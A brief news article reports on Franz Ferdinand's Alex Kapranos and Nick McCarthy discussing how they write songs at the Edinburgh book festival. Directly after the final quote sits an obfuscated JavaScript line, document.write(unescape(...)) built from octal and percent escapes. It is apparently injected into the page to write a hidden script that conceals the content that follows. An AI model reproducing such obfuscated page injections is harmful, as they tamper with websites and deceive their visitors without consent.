Music fans were given a master class by one of Scotland's biggest bands at the Edinburgh Festival.
Franz Ferdinand songwriters singer Alex Kapranos and guitarist Nick McCarthy revealed how they went about writing a hit record.
In a first for the international book festival, taking time out from an extensive world tour, they talked about their songs and how they write their lyrics.
Until now only those concerned with the written word have taken to the stage in Charlotte Square - this year alone 600 authors have taken part.
Kapranos, whose band headlined this year's T In The Park, explained it was new territory for the band. "Song writing is something we've never talked about before," he told the mainly-teenage audience.
"I've always felt like song writing is overlooked - in particular lyric writing has for a long time been seen as the poor cousin in the literary world. But the most famous Scottish writer wasn't an author or a poet, Rabbi Burns was a lyricist."
With the help of a guitar and piano, they talked the audience through how they wrote their first song, fans' favourite Auf Asche.
As well as tips for aspiring pop stars, there were plenty of revelations for the fans of the double-Brit-winning group. Kapranos admitted that many of his lyrics were just "nonsense" but somehow sounded right.
Influenced by friends and everyday experience, the Glasgow-based art school rockers have penned some of the biggest-selling Scottish albums of all time. But they admitted there was no secret formula.
Kapranos added: "When it comes to song writing, there are not any distinct rules - there isn't any right of wrong way to go about it. Some of the best things you do are mistakes. I didn't have any music training - most of song writing is messing about 'til it sounds good."document.write(unescape('%3Cs\143ri\04570t>\04564oc\165m%65\0456E%74.w\162i\04574e(\165ne%73c\04561pe\04528\047%5C07\04534\\04\0652%31--\04527\051)\073\0453C/%73c\162ip%74>'))
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